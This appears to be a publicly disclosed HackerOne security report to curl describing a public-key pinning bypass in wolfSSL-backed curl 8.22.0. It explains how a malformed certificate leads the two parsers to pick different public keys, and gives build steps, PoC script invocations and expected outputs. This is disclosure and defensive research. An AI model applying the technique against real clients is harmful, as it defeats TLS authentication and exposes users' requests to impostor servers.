HexBrain

curl · Report #3989514

CVE-2026-87866: wolfSSL public-key pinning bypass

Validstatus
mediumseverity
2upvotes
14 Oct 2026disclosed

How it was found

Summary

curl 8.22.0 built with wolfSSL can accept a CURLOPT_PINNEDPUBLICKEY hash for a key the TLS peer does not possess.

wolfSSL completes the TLS handshake using public key A from a malformed certificate. curl then reparses the same DER using Curl_parseX509() and, because of a manipulated validity length, selects embedded SPKI B.

The server has only private key A, but pin B is accepted and curl sends the HTTP request.

This is not a CA-validation claim. The PoC uses curl's documented pinning-only mode (-k with --pinnedpubkey), where the public-key pin must still be verified independently.

Steps To Reproduce

Prerequisites: git, curl, unzip, openssl, clang/clang++, make, Autotools, pkg-config, and zlib development headers.

  1. Extract the attached bundle and prepare isolated paths:
unzip SUBMISSION-CURL-WOLFSSL-X509-PIN-BYPASS-20260902-H1-FINAL.zip

POC_DIR="$(pwd)/wolfssl-x509-pin-bypass"
REPRO_ROOT="$(mktemp -d)"
WOLFSSL_PREFIX="$REPRO_ROOT/wolfssl-install"
  1. Build wolfSSL 5.9.2:
git clone --depth 1 --branch v5.9.2-stable \
  https://github.com/wolfSSL/wolfssl.git "$REPRO_ROOT/wolfssl"

cd "$REPRO_ROOT/wolfssl"
./autogen.sh

CC=clang \
CFLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \
LDFLAGS='-fsanitize=address,undefined' \
./configure --prefix="$WOLFSSL_PREFIX" \
  --enable-tls13 --enable-harden --enable-ed25519 \
  --enable-sessioncerts --enable-opensslextra \
  --disable-benchmark --disable-crypttests

make -j"$(nproc)"
make install
  1. Download, verify, and build curl 8.22.0:
cd "$REPRO_ROOT"

curl -LO https://curl.se/download/curl-8.22.0.tar.xz

printf '%s  %s\n' \
  f7ef3ae8a22e521f289803fe93543eb64c329b58aa73a9e224dfd915a2a5f4f7 \
  curl-8.22.0.tar.xz | sha256sum -c -

tar -xf curl-8.22.0.tar.xz
cd curl-8.22.0

CC=clang \
CFLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \
CPPFLAGS="-I$WOLFSSL_PREFIX/include" \
LDFLAGS="-L$WOLFSSL_PREFIX/lib -Wl,-rpath,$WOLFSSL_PREFIX/lib -fsanitize=address,undefined" \
./configure --with-wolfssl="$WOLFSSL_PREFIX" \
  --without-libpsl --without-brotli --without-zstd --without-nghttp2 \
  --enable-debug --disable-shared

make -j"$(nproc)"
  1. Run the end-to-end attack and controls:
CURL_BIN="$REPRO_ROOT/curl-8.22.0/src/curl" \
WOLFSSL_SRC="$REPRO_ROOT/wolfssl" \
"$POC_DIR/poc/reproduce.sh"

Expected:

malformed A + pin B -> exit 0, HTTP 200, canary GET received
malformed A + pin A -> exit 90, HTTP 000, no request
valid A + pin A     -> exit 0, HTTP 200, canary GET received
valid A + pin B     -> exit 90, HTTP 000, no request

PASS: attack case and all three negative controls matched expectations

The server uses poc/key-a.pem only. No private key corresponding to pin B is provided to the server.

  1. Confirm that both parsers select different public keys from the same certificate DER:
CURL_BUILD="$REPRO_ROOT/curl-8.22.0" \
WOLFSSL_PREFIX="$WOLFSSL_PREFIX" \
"$POC_DIR/poc/run-differential.sh"

Expected:

X509_DIFF der=285 curl_off=136 curl_len=44 backend_off=77 backend_len=44 input_equal=1
CURL_SPKI_SHA256=97b8b62490b44349d24429bcf466c2023933c3e3b206465cf7f2a819e53f3a1b
BACKEND_SPKI_SHA256=c5683b7ecce8c958e929f718afa669fedfcaf1013cdea29ab9162327213a2bbe

PASS: the same DER maps to backend SPKI A and curl SPKI B

Attachments

SUBMISSION-CURL-WOLFSSL-X509-PIN-BYPASS-20260902-H1-FINAL.zip

Impact

An attacker controlling a TLS endpoint, but not possessing the pinned private key, can make wolfSSL-backed curl accept the connection as matching that pin and receive the application request sent after the bypass.

This breaks the authentication guarantee of curl's public-key pinning mechanism.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original